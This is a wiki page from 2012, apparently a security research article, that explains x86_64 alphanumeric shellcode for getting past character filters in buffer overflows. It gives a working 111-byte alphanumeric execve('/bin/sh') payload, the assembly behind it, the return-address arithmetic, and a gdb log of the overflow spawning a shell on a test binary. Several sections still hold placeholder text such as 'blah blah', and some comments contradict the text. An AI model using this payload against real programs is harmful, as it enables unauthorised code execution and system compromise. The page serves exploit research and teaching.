Revision as of 09:54, 6 May 2012

Alphanumeric shellcode is similar to ascii shellcode in that it is used to evade character filters during buffer overflow exploitation. While 32 bit alphanumeric code is widely documented, this is the first public research and documentation of 64-bit alphanumeric code containing an example shellcode.

Available x86_64 Instructions

Alphanumeric Opcode Compatibility

Intercompatible opcodes are important to note due to the fact that many opcodes overlap and thus, writing shellcode that will run on both 32 bit and 64 bit x86 platforms becomes possible.

Alphanumeric Intercompatible x86 Opcodes

This chart was derived by cross referencing available 64 bit instructions with available 32 bit instructions.

Because not all opcodes are intercompatible, yet comparisons and conditional jumps are interompatible, it is possible to determine the architecture of an x86 processor using exclusively alphanumeric opcodes. The opcodes which are specifically not compatible are limited to the 64 bit special prefixes 0x40-0x4f, which allow for manipulation of 64 bit registers and 8 additional 64 bit general purpose registers, %r8-%r15. By making use of these additional registers (which 32 bit processors do not have), one can perform an operation that will set a value on a different register in the two processors. Following this, a conditional statement can be made against one of the two registers to determine if the value was set. Using the pop instruction is the most effective way to set the value of a register due to instructional limitations. Using an alternative register to %rsp or %esp as the stack pointer enables the use of an effective conditional statement to determine if the value of a register is equal to the most recent thing pushed or popped from the stack.

15 Byte Architecture Detection Shellcode

This bytecode does not have a conditional jump. The reader may add this for customization based on the size and architecture of the payload that occurs after this snippet.

This simple alphanumeric bytecode is 15 bytes long, ending in a comparison which returns equal on a 32 bit system and not equal on a 64 bit system. The conditional jump may be best reserved for the t and u instructions, jump if equal and jump if not equal, respectively.

• Assembled:

TX4HPZTAZAYVH92

• Disassembly:

[root@ares bha]# objdump -d xarch32.o

xarch32.o:     file format elf32-i386

Disassembly of section .text:
00000000 <_start>:
   0:   54                      push   %esp
   1:   58                      pop    %eax
   2:   34 48                   xor    $0x48,%al
   4:   50                      push   %eax
   5:   5a                      pop    %edx
   6:   54                      push   %esp
   7:   41                      inc    %ecx
   8:   5a                      pop    %edx
   9:   41                      inc    %ecx
   a:   59                      pop    %ecx
   b:   56                      push   %esi
   c:   48                      dec    %eax
   d:   39 32                   cmp    %esi,(%edx)
[root@ares bha]# # Returns false on a 64 bit system:
[root@ares bha]# objdump -d xarch64.o

xarch64.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <_start>:
   0:   54                      push   %rsp
   1:   58                      pop    %rax
   2:   34 48                   xor    $0x48,%al
   4:   50                      push   %rax
   5:   5a                      pop    %rdx
   6:   54                      push   %rsp
   7:   41 5a                   pop    %r10
   9:   41 59                   pop    %r9
   b:   56                      push   %rsi
   c:   48 39 32                cmp    %rsi,(%rdx)

On a 64-bit system, this will not cause a segfault because (%rdx) points to somewhere inside the stack. Also notice that while this was assembled as a Linux-based ELF executable, the Operating System should not matter, as this stays within the confines of legal instructions for any x86 CPU that should not cause an access violation.

Alphanumeric x86_64 Register Value and Data Manipulation

Given the limited set of instructions for alphanumeric shellcode.... write some more stuff once done explaining the various aspects below in a general short form manner.

Push: Alphanumeric x86_64 Registers

Alphanumeric data can be pushed in one-byte, two-byte, and four-byte quantities at once.

Pushing the 64 bit registers RAX-RDI is done using a single upper case P-W (\x50-\x57) dependent on which register you're pushing. Prefixing with "A" (for general registers R8-R15) or "f" for 16 bit registers (AX-DI) gives access to push 32 registers using alphanumeric shellcode.

For the general registers R8-R15 "A" is prefixed to the corresponding RAX-RDI register push.

For the 16 bit registers AX-DI "f" is prefixed to the corresponding RAX-RDI register push.

For the 16 bit general registers R8B-R15b "f" is prefixed to the corresponding R8-R15 register push.

Pop: Alphanumeric x86_64 Registers

Pop is more limited in its range of usable registers due to the limitations of alphanumeric shellcode. This is limited to RAX, RCX, and RAX. As with push, the extended register shellcode is prefixed to access 16 bit and general registers. This gives the ability to pop a total of 12 (6 full size and 6 16 bit) registers we can pop.

For general registers, RAX-RCX are prefixed with "A" for the corresponding R8-R10 pop.

       # 16 bit registers (using 0x66 or 'f' 
       # [sometimes fA] prefix):
       # %cx, %dx, %ax, %r8w, %r9w, %r10w 
       #
       # So, using push and pop we can set the values of 
       # 6 fullsize CPU registers:
       # %rax, %rcx, %rdx, %r8, %r9, %r8
       #
       # Or get any values of 16 fullsize CPU registers 
       # to the top of the stack:
       # %r8-%r15, %rax-%rdi
       #

Prefixes

Lets look quickly. We've got 5 main registers, and 5 special 64 bit registers we can push, but not pop:

• %rbx
• %rsp
• %rbp
• %rsi
• %rdi

How can we write to those (or read their sub-registers) using alphanumeric bytecode instructions and operands only? We can also presumably use any of the 6 full control registers by our emulating for mov with push and pop. Using only the registers we can already access, we will attempt to get instructions for our use to set values.

We've identified our special register prefix:

 0x41, 'A'

We've identified our word operand override,

 0x66, 'f'.

Lets identify all the alphanumeric overrides and prefixes. Notice these overrides are very similar to those for 32 bit platforms.

Operands

       # Now is probably a good time to mention that the
       # opcodes used for popping a register can also be
       # used as 'register operands' for more advanced
       # instructions.  For example, take this xor
       # instruction:
       #       xor $0x[byte](%rax),%ebx 
       #       "\x33\x58\x##"                  "3X?"
       #
       # The %rax register can be changed to %rcx or %rdx
       # using the 0x59 (Y) and 0x5a (Z) opcodes in place
       # of the 0x58 (X) opcode:
       #       xor $0x[byte](%rax),%ebx
       #       "\x33\x59\x##"                  "3Y?"
       #
       # Whenever there's a controllable register, we'll
       # use the notation {reg} so we'll recognize it as
       # an option.  In our bytecodes and string examples,
       # we will use a '?' in the bytecode itself and a 
       # '*' to denote the register operand, for example:
       #       xor $0x[byte]({reg}),%ebx
       #       "\x33\x??\x##"                  "3*?"
       #
       # So start memorizing the opcodes for rax,rcx, and
       # rdx, and get it in your head that they'll be used
       # frequently.  When we run into multiple operands, 
       # we'll use their operand number in the notation 
       # for readability purposes.
       #

Other Primitive Emulations

       # -Xor
       # -Imul
       # -Movslq
       # 
       # Identifying the ways to set the rest of our 
       # registers, while investigating %rbx, was not 
       # entirely fruitful.  We do not get full control
       # over the %rbx register, however, we get write
       # access to sub-registers:
       #       %ebx, %bx, %bh, %bl
       # We can access these by using xor, imul, and
       # movslq instructions:
       #  -%ebx:
       #       xor $0x[byte]({reg}),%ebx       
       #       "\x33\x??\x##"                  "3*?"
       #
       #       imul $0x[dword1],0x[byte2]({reg}),%ebx
       #       "\x69\x??\x#2\x#1\x#1\x#1\x#1"  "i*21111"
       #
       #       imul $0x[byte1],0x[byte2]({reg}), %ebx
       #       "\x6b\x??\x#2\x#1"              "k*21"
       #
       #       movslq 0x[byte1]({reg}), %ebx
       #       "\x63\x??\x##                   "c*?"
       #
       # Note: if you want to access the %ss segment, put
       # the prefix at the beginning of the bytecode of
       # instructions (e.g. "63*?" in stead of "3*?").  If
       # you'd like to use the special 64 bit registers, 
       # put 0x41 or "A" at the beginning of the bytecode.
       # if you need to use both, you must always use the
       # %ss segment register prefix first, e.g. '6A3*?'.
       # 
       # Using one of our 64 bit force operators, we can 
       # use any of those instructions on %ebx with an 
       # override to treat it as %rbx (in this case, 0x48).
       #
       #  imul   $0x[byte1],0x[byte2]({reg}),%rbx
       #  "\x48\x6b\x??\x#2\x#1"               "Hk*21"
       #
       #  So all we really have to set the value of %rbx 
       #  directly is imul, xor, and movslq.  It's similar
       #  for our other registers that we can't directly 
       #  access yet, save for a couple.
       #

Xor

       #  Left over, we have %rsp, %rbp, %rdi, and %rsi.  
       #  Lets take a closer look at xor.  Starting at
       #  0x30 and ending at 0x35 we have some pretty 
       #  valuable xor commands:
       #
       #    0x34:        xor $0x##, %al
       #    0x35:        xor $0x########, %eax
       #    0x48 0x35 :  xor $0x########, %rax
       #
       #   0x30 is a multi-byte xor instruction.  Requiring
       #  at least two operands (even if register denote):
       #
       #   0x30 - xor %{16bit}, (%{64bit})
       #          xor %{16bit}, (%{64bit},%{64bit},1)
       #          xor %{16bit}, (%{64bit},%{64bit},2)
       #
       #          xor %{16bit}, 0x[byte](%{64bit})
       #          xor %{16bit}, 0x[byte](,%{64bit},1)
       #          xor %{16bit}, 0x[byte](,%{64bit},2)
       #
       #          xor %{16bit}, 0x[dword](%{64bit})
       #          xor %{16bit}, 0x[dword](,%{64bit},1)
       #          xor %{16bit}, 0x[dword](,%{64bit},2)
       #
       #  0x31 - xor %{32bit}, (%{64bit})
       #   0x31 is just as flexible as 0x30.  Didn't document
       # all permutations here due to brevity.
       #
       #  0x32 - xor (%{64bit}), %{16bit}
       #   0x32 is just as flexible, although the offsets will
       # change source side rather than destination side.
       #
       #  0x33 - xor (%{64bit}), %{32bit} 
       #   0x33 is the opposite of 0x31.  Just as flexible.
       #

Difficult Registers

       #  Lets combine our knowledge of xor with our knowledge
       # of the stack.  When we push any data, our data is 
       # accessible at %ss:(%rsp).  Knowing this, we can use
       # another register in our available space (e.g. %rcx)
       # to set values on some of our more difficult registers:
       #          %rbx, %rsp, %rbp, %rsi, %rdi
       #
       # First, we'll use push and pop to simulate 'mov':
       #
       #  \x54  push %rsp
       #  \x59  pop %rcx
       #  \x5a  pop %rax       (This just sets the pointer back)
       # Two xor parameters allow us to set the index registers,
       # %rsi and %rdi.  For now, we'll just zero them out:
       #
       #  \x56                 push %rsi
       #  \x36\x48\x33\x31     xor %ss:(%rcx), %rsi
       #  \x41\x58             pop %r8         
       #
       #  \x57                 push %rdi
       #  \x36\x48\x33\x39     xor %ss:(%rcx), %rdi
       #  pop %r8              
       # --------
       #
       # Now we've zeroed out %rsi and %rdi.  %r14 and %r15
       # special registers can also be pushed and zeroed out in
       # this fashion.  Now we have "full control" over:
       #   %rax, %rcx, %rdx, %rsi, %rdi, %r8, %r9, %r10, %r14,
       # and %r15.  We still need to gain full control over:
       #   %rsp, %rbp, %rbx, %r11, %r12, and %r13
       #
       #  Similar to push, we're going to require some sort of 
       # controllable data before the setting of a register. 
       # Where pop is concerned, we might require something to
       # be pushed to the stack first, in this case, we just
       # require a zero register.  Due to the way that xor 
       # works, once we have a zero register at all, in this 
       # case we will use %rax as our zero register, we can
       # use it to get %rbx, %rsp, and %rbp to zero if needed:
       #
       #  # %rbx:
       #  xor %ss:0x30(%rcx), %rax        # store that value in rax
       #  xor %rax, %ss:0x30(%rcx)        # Null that area of stack
       #  imul $0x30,%ss:0x30(%rax),%rbx  # 0x30 * 0 = 0 
       #  imul $0x30,%ss:0x30(%rax),%rbp  # 0x30 * 0 = 0
       #
       # Once the stack space, as well as the destination is set
       # to zero, we can effectively mov %rax, %rbp:
       #  36 48 31 41 30        xor    %rax,%ss:0x30(%rcx)
       #  36 48 33 69 30        xor    %ss:0x30(%rcx),%rbp
       #
       #  Our closest thing to incrementing and decrementing is
       # our ability to use the ins and outs instructions to 
       # add or subtract 1,2, or 4 against the %rdi register.
       # This still leaves us with no significant add or sub,
       # we can use imul with 16 and 8 bit registers to find 
       # division though.  We also have a magic mov; if %rsi is
       # not in use:
       #
       #   movsql %ss:0x30(%rcx), %rsi
       #   xor %rsi, %ss:0x30(%rsi)
       #
       #  This can come in quite handy when chunking large 
       # pieces of data to 0.

Example: Zeroing Out x86_64 CPU Registers

First %rsp is pushed to the top of the stack and the pointer address is popped into in %rcx, the third pop is to ensure that the pointer address matches what is now in %rcx.

<syntaxhighlight lang="asm">

       push %rsp 2
       pop %rcx   1              
       pop %r8     2             

</syntaxhighlight>

The following push overwrites %ss:(%rcx) with the contents of %rsi, the xor zeros out %rsi by xoring itself, and %rsp is then set back to %rcx using pop.

<syntaxhighlight lang="asm">

       push %rsi
       xor %ss:(%rcx), %rsi
       pop %r8

</syntaxhighlight>

Again using the same form,  %ss:(%rcx) is overwritten, %rdi is zeroed out using xor, and %rsp is reset to %rcx.

<syntaxhighlight lang="asm">

       push %rdi
       xor %ss:(%rcx), %rdi
       pop %r8

</syntaxhighlight>

say some stuff, explain what's going on etc.

<syntaxhighlight lang="asm">

       push %rdi
       pop %rdx                 # rdx is zero

</syntaxhighlight>

blah blah & blah

<syntaxhighlight lang="asm">

       push $0x30
       pop %rax
       xor $0x30, %al           # zeroed out %rax

</syntaxhighlight>

blahblah blah

<syntaxhighlight lang="asm">

       # Time to zero %rbx and %rbp
       xor %ss:0x30(%rcx), %rax
       xor %rax, %ss:0x30(%rcx) # Zero that stack slot
       xor %rbx, %ss:0x30(%rcx)
       xor %ss:0x30(%rcx), %rbx # %rbx is zero
       push %rdx
       pop %rax                 # re-initialize %rax as dummy
       xor %ss:0x30(%rcx), %rax
       xor %rax, %ss:0x30(%rcx)
       xor %rbp, %ss:0x30(%rcx)
       xor %ss:0x30(%rcx), %rbp # %rbp is zero

</syntaxhighlight>

64 Bit Alphanumeric execve('/bin/sh') - 111 bytes

Starting Shellcode (64-bit)

This was converted to shellcode from the example in 64 bit linux assembly

• execve('/bin/sh');

 
.section .data
.section .text
.globl _start
_start:
 
 # a function is f(%rdi,%rdx,%rsi).
 # Use zeroed memory to zero out %rsi, %rdi, %rdx
 xor %rdi, %rdi
 push %rdi
 push %rdi
 pop %rsi
 pop %rdx
 
 # Store '/bin/sh\0' in %rdi
 movq $0x68732f6e69622f6a, %rdi
 shr $0x8,%rdi
 push %rdi
 push %rsp
 pop %rdi
 push $0x3b
 pop %rax
 syscall                                # execve('/bin/sh', null, null)
                                        # function no. is 59/0x3b - execve()
 

• execve('/bin/sh')

"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

Shellcode Analysis

Immediately before the syscall:

•  %rax is set to 0x3b
•  %rdi is a pointer to '/bin/sh\0'
•  %rsi and %rdx are null

To reproduce this, because the syscall is binary, it must be written to a location that will eventually be executed ahead of currently executing code. The xor and imul instructions can then be used to set values on registers.

Stack Analysis

• The formula to determine the offset from the stack pointer is (return address + shellcode length) - %rsp.

These buffer dumps have been shortened for brevity and readability.

[root@ares bha]# gdb -q ./bof
Reading symbols from /home/hatter/bha/bof...(no debugging symbols found)...done.
(gdb)  r $(perl -e 'print "A"x232;')
Starting program: /home/hatter/bha/bof $(perl -e 'print "A"x232;')
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400525 in main ()
(gdb) x/500x $rsp                                     
 0x7fffffffe3c8: 0x41414141      0x41414141      0x41414141      0x41414141
 0x7fffffffe3d8: 0xffffe400      0x00007fff      0x00000000      0x00000002
 ..........................
 0x7fffffffe708: 0x2f656d6f      0x68726f76      0x2f736565      0x2f616862
 0x7fffffffe718: 0x00666f62      0x41414141      0x41414141      0x41414141
 0x7fffffffe728: 0x41414141      0x41414141      0x41414141      0x41414141

So the shellcode actually starts at 0x7fffffffe726. The pointer for the buffer overflow looks like "\x26\xe7\xff\xff\xff\x7f". As a result of the limited instruction set, a bit of polymorphism must be used to overwrite code in front of currently executing code with the syscall instructions. There is an offset between 0x7fffffffe3c8 and 0x7fffffffe726 of e726 - e3c8 or 0x35e. The is 862 bytes away from %rsp, and may come out over 100 bytes, so 975, or 0x3cf is the offset used in this shellcode.

The Offset

• To prepare for xor and imul manipulations, 0x5a is placed into %rax and %rsp is moved into %rcx.

 
        # Set %rcx as stack pointer 
        # and align %rsp 
        push $0x5a
        push %rsp
        pop %rcx
        pop %rax
 

• Preparing for imul, an xor is used to place 0x0f into %rax, then push %rax to the stack.

 
        # Get magic offset and store in %rdi
        xor $0x55, %al
        push %rax                       # 0x0f on the stack now.
 

• Because 0x41 * 0x0f = 0x3cf (975), the offset can be calculated in purely alphanumeric form. Modify this as code distances itself from the stack pointer during an exploit. The offset is stored in %rdi after setting back the stack pointer.

 
        pop %rax                        # add back to %esp
        imul  $0x41, (%rcx), %edi       # %rdi = 0x3cf, a "magic offset" for us
 

The Syscall

• Now that the offset to an address in front of executing instructions has been obtained, 4 bytes must be nulled for the new instructions to be written:

 
        movslq (%rcx,%rdi,1), %rsi
        xor %esi, (%rcx,%rdi,1)
 

• This next xor comes out to 0x0000050f, which when moved onto the stack becomes 0x0f050000. 0x0f05 is the machine code for a syscall.

 
        push $0x3030474a
        pop %rax
        xor $0x30304245, %eax
 

• The %rax register now contains 0x050f. Put 0x0f050000 at (%rcx) - then set the stack pointer back.

 
        push %rax
        pop %rax                        # Garbage reg
 

• A mov emulation is used to mov 0x0f05 from (%rcx) to %rcx + %rdi through the %rsi register, writing the syscall instructions:

 
        movslq (%rcx), %rsi
        xor %esi, (%rcx,%rdi,1)
 

Arguments

Stack Space

• Zero out a qword of data starting at %rcx + 0x30 (48 in decimal)

 
        # Allocate stack space
        movslq 0x30(%rcx), %rsi
        xor %esi, 0x30(%rcx)
        movslq 0x34(%rcx), %rsi
        xor %esi, 0x34(%rcx)
 

Register Initialization

• The %rdx, %rdi, and %rsi registers are used for the execve() syscall. These are zeroed out to initialize their values using the stack space previously allocated.

 
        # Zero rdx, rsi, and rdi
        movslq 0x30(%rcx), %rdi
        movslq 0x30(%rcx), %rsi
        push %rdi
        pop %rdx
 

String Argument

• /bin is placed onto the stack at the space allocated at %rcx + 0x30.

 
        push $0x5a58555a
        pop %rax
        xor $0x34313775, %eax
        xor %eax, 0x30(%rcx)
 

• /sh\0 is placed onto the stack at the space allocated at %rcx + 0x34.

 
        push $0x6a51475a
        pop %rax
        xor $0x6a393475, %eax
        xor %eax, 0x34(%rcx)            
 

• xor is used as a mov emulation to place '/bin/sh\0' into %rdi.

 
        xor 0x30(%rcx), %rdi
 

• Set the stack pointer back so %rsp = %rcx + 8 so that the push of %rdi does not overwrite (%rcx). Push '/bin/sh\0'.

 
        pop %rax
        push %rdi
 

Final Registers

•  %rsi and %rdx are 0. First, push a byte to meet the sign requirement for movslq, then zero %rdi.

 
        push $0x58
        movslq (%rcx), %rdi
        xor (%rcx), %rdi       
 

• Align %rsp and %rcx, then use a mov emulation to place %rsp into %rdi.  %rdi then contains a pointer to '/bin/sh\0'.

 
        pop %rax
        push %rsp
        xor (%rcx), %rdi
 

•  %rax is set to 59 or 0x3b for the execve() syscall.

 
        xor $0x63, %al
 

Final registers:

•  %rax = 0x3b
•  %rdi = pointer to '/bin/sh\0'
•  %rsi = null
•  %rdx = null

Final Code

• Assembled:

 jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394c

 
        .global _start
        .text
_start:
        ; Set %rcx as stack pointer 
        ; and align %rsp 
        push $0x5a
        push %rsp
        pop %rcx
        pop %rax
 
        ; Get magic offset and store in %rdi
        xor $0x55, %al
        push %rax                       ; 0x14 on the stack now.
        pop %rax                        ; add back to %esp
        imul  $0x41, (%rcx), %edi       ; %rdi = 0x3cf, a "magic offset" for us
                                        ; This is decimal value 975.
                                        ; If this is too low/high, suggest a 
                                        ; modification to xor of %al for 
                                        ; changing the imul results
 
        ; Write our syscall 
        movslq (%rcx,%rdi,1), %rsi
        xor %esi, (%rcx,%rdi,1)         ; 4 bytes have been nulled
        push $0x3030474a
        pop %rax
        xor $0x30304245, %eax
        push %rax
        pop %rax                        ; Garbage reg
        movslq (%rcx), %rsi
        xor %esi, (%rcx,%rdi,1)
 
        ; Sycall written, set values now.
        ; allocate 8 bytes for '/bin/sh\0'
        movslq 0x30(%rcx), %rsi
        xor %esi, 0x30(%rcx)
        movslq 0x34(%rcx), %rsi
        xor %esi, 0x34(%rcx)
 
        ; Zero rdx, rsi, and rdi
        movslq 0x30(%rcx), %rdi
        movslq 0x30(%rcx), %rsi
        push %rdi
        pop %rdx
 
        ; Store '/bin/sh\0' in %rdi
        push $0x5a58555a
        pop %rax
        xor $0x34313775, %eax
        xor %eax, 0x30(%rcx)            ; '/bin'  just went onto the stack
 
        push $0x6a51475a
        pop %rax
        xor $0x6a393475, %eax
        xor %eax, 0x34(%rcx)            ; '/sh\0' just went onto the stack
        xor 0x30(%rcx), %rdi            ; %rdi now contains '/bin/sh\0'
 
 
        pop %rax
        push %rdi
 
        push $0x58
        movslq (%rcx), %rdi
        xor (%rcx), %rdi                ; %rdi zeroed
        pop %rax
        push %rsp
        xor (%rcx), %rdi
        xor $0x63, %al

Successful Overflow Test

This shellcode was tested on a modified bof.c to make the buffer 200 bytes in stead of 100 bytes, as the shellcode here exceeds the original buffer size.

[user@host bha]# gdb -q ./bof
Reading symbols from /home/hatter/bha/bof...(no debugging symbols found)...done.
(gdb) r `perl -e 'print  "jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394c" . "Y"x105 . "\x26\xe7\xff\xff\xff\x7f";'`
Starting program: /home/hatter/bha/bof `perl -e 'print  "jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394c" . "Y"x105 .
"\x26\xe7\xff\xff\xff\x7f";'`
process 28444 is executing new program: /bin/bash
[user@host bha]# uname -m
x86_64
[user@host bha]# exit
exit
[Inferior 1 (process 28444) exited normally]
(gdb)